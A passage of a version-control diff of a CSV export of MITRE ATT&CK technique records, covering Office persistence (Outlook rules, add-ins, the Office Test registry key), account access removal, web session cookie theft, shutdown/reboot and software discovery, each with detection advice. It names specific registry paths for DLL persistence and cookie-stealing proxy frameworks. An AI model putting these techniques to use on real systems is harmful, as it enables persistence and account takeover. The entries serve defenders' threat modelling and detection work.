+Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",['persistence'],https://attack.mitre.org/techniques/T1137/005,mitre-attack,T1137.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Microsoft Security'],"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137.006', 'url': 'https://attack.mitre.org/techniques/T1137/006'}, {'url': 'https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460', 'description': 'Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.', 'source_name': 'Microsoft Office Add-ins'}, {'url': 'https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/', 'description': 'Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.', 'source_name': 'MRWLabs Office Persistence Add-ins'}, {'source_name': 'FireEye Mail CDS 2018', 'url': 'https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf', 'description': 'Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.'}, {'source_name': 'GlobalDotName Jun 2019', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1137/006,mitre-attack,T1137.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Add-ins,"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",True,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/006', 'external_id': 'T1137.006'}, {'source_name': 'Microsoft Office Add-ins', 'description': 'Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.', 'url': 'https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460'}, {'source_name': 'MRWLabs Office Persistence Add-ins', 'description': 'Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.', 'url': 'https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/'}, {'source_name': 'FireEye Mail CDS 2018', 'description': 'Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.', 'url': 'https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf'}, {'source_name': 'GlobalDotName Jun 2019', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique'}]",1.1,attack-pattern,attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T19:52:52.801Z,2021-08-16T21:26:09.296Z,Add-ins,"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) -Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d,attack-pattern,['persistence'],2020-03-26T17:34:02.877Z,2019-11-07T19:52:52.801Z,"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) +Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",['persistence'],https://attack.mitre.org/techniques/T1137/006,mitre-attack,T1137.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137.002', 'url': 'https://attack.mitre.org/techniques/T1137/002'}, {'url': 'http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/', 'description': 'Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.', 'source_name': 'Hexacorn Office Test'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/', 'description': 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.', 'source_name': 'Palo Alto Office Test Sofacy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1137/002,mitre-attack,T1137.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Office Test,"Adversaries may abuse the Microsoft Office ""Office Test"" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",True,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/002', 'external_id': 'T1137.002'}, {'source_name': 'Hexacorn Office Test', 'description': 'Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.', 'url': 'http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/'}, {'source_name': 'Palo Alto Office Test Sofacy', 'description': 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/'}]",1.1,attack-pattern,attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T19:44:04.475Z,2021-08-16T21:35:17.618Z,Office Test,"Adversaries may abuse the Microsoft Office ""Office Test"" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) There exist user and global Registry keys for the Office Test feature: * HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf * HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf -Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a,attack-pattern,['persistence'],2020-03-20T15:27:51.559Z,2019-11-07T19:44:04.475Z,"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) +Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",['persistence'],https://attack.mitre.org/techniques/T1137/002,mitre-attack,T1137.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load']",,"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) -Consider monitoring Office processes for anomalous DLL loads.","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load']",,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,"['Office 2007, 2010, 2013, and 2016']",,,,,,,,,, -"[{'url': 'https://attack.mitre.org/techniques/T1531', 'source_name': 'mitre-attack', 'external_id': 'T1531'}, {'description': 'CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.', 'url': 'https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/', 'source_name': 'CarbonBlack LockerGoga 2019'}, {'source_name': 'Unit42 LockerGoga 2019', 'url': 'https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/', 'description': 'Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1531,mitre-attack,T1531,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Account Access Removal,"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. +Consider monitoring Office processes for anomalous DLL loads.",True,"['Administrator', 'User']","['Windows', 'Office 365']",,,,"['Office 2007, 2010, 2013, and 2016']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1531', 'external_id': 'T1531'}, {'source_name': 'CarbonBlack LockerGoga 2019', 'description': 'CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.', 'url': 'https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/'}, {'source_name': 'Unit42 LockerGoga 2019', 'description': 'Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.', 'url': 'https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/'}]",1.0,attack-pattern,attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-09T18:48:31.906Z,2020-07-14T19:15:29.911Z,Account Access Removal,"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. -Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)",attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0,attack-pattern,['impact'],2020-07-14T19:15:29.911Z,2019-10-09T18:48:31.906Z,"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: +Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)",['impact'],https://attack.mitre.org/techniques/T1531,mitre-attack,T1531,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Deletion', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: * Event ID 4723 - An attempt was made to change an account's password * Event ID 4724 - An attempt was made to reset an account's password * Event ID 4726 - A user account was deleted * Event ID 4740 - A user account was locked out -Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","['User Account: User Account Deletion', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1539', 'url': 'https://attack.mitre.org/techniques/T1539'}, {'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html', 'source_name': 'Pass The Cookie'}, {'source_name': 'Kaspersky TajMahal April 2019', 'url': 'https://securelist.com/project-tajmahal/90240/', 'description': 'GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.'}, {'description': 'Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.', 'url': 'https://github.com/kgretzky/evilginx2', 'source_name': 'Github evilginx2'}, {'source_name': 'GitHub Mauraena', 'url': 'https://github.com/muraenateam/muraena', 'description': 'Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,False,https://attack.mitre.org/techniques/T1539,mitre-attack,T1539,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Steal Web Session Cookie,"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. +Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1539', 'external_id': 'T1539'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Kaspersky TajMahal April 2019', 'description': 'GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.', 'url': 'https://securelist.com/project-tajmahal/90240/'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}, {'source_name': 'Github evilginx2', 'description': 'Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.', 'url': 'https://github.com/kgretzky/evilginx2'}, {'source_name': 'GitHub Mauraena', 'description': 'Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.', 'url': 'https://github.com/muraenateam/muraena'}]",1.2,attack-pattern,attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-08T20:04:35.508Z,2021-07-28T01:26:51.971Z,Steal Web Session Cookie,"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) -There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) +There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) -After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff,attack-pattern,['credential-access'],2021-04-14T17:57:07.903Z,2019-10-08T20:04:35.508Z,Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.,"['File: File Access', 'Process: Process Access']","['Microsoft Threat Intelligence Center (MSTIC)', 'Johann Rehberger']",,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1529', 'url': 'https://attack.mitre.org/techniques/T1529'}, {'source_name': 'Microsoft Shutdown Oct 2017', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown', 'description': 'Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.'}, {'source_name': 'Talos Nyetya June 2017', 'url': 'https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html', 'description': 'Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019.'}, {'source_name': 'Talos Olympic Destroyer 2018', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1529,mitre-attack,T1529,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Shutdown/Reboot,"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. +After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",['credential-access'],https://attack.mitre.org/techniques/T1539,mitre-attack,T1539,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Threat Intelligence Center (MSTIC)', 'Johann Rehberger']","['File: File Access', 'Process: Process Access']",,Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.,False,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1529', 'external_id': 'T1529'}, {'source_name': 'Microsoft Shutdown Oct 2017', 'description': 'Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown'}, {'source_name': 'Talos Nyetya June 2017', 'description': 'Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019.', 'url': 'https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}]",1.0,attack-pattern,attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-04T20:42:28.541Z,2020-03-27T21:18:48.149Z,System Shutdown/Reboot,"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. -Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc,attack-pattern,['impact'],2020-03-27T21:18:48.149Z,2019-10-04T20:42:28.541Z,"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.","['Process: Process Creation', 'Command: Command Execution', 'Sensor Health: Host Status']",,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1518', 'url': 'https://attack.mitre.org/techniques/T1518'}, {'external_id': 'CAPEC-580', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/580.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.3,False,https://attack.mitre.org/techniques/T1518,mitre-attack,T1518,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Software Discovery,"Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",['impact'],https://attack.mitre.org/techniques/T1529,mitre-attack,T1529,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Sensor Health: Host Status']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1518', 'external_id': 'T1518'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/580.html', 'external_id': 'CAPEC-580'}]",1.3,attack-pattern,attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-16T17:52:44.147Z,2021-03-29T16:05:00.456Z,Software Discovery,"Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58,attack-pattern,['discovery'],2021-03-29T16:05:00.456Z,2019-09-16T17:52:44.147Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. +Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",['discovery'],https://attack.mitre.org/techniques/T1518,mitre-attack,T1518,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-580,https://capec.mitre.org/data/definitions/580.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.013', 'url': 'https://attack.mitre.org/techniques/T1547/013'}, {'description': 'Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.', 'url': 'https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html', 'source_name': 'Free Desktop Application Autostart Feb 2006'}, {'description': 'Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.', 'url': 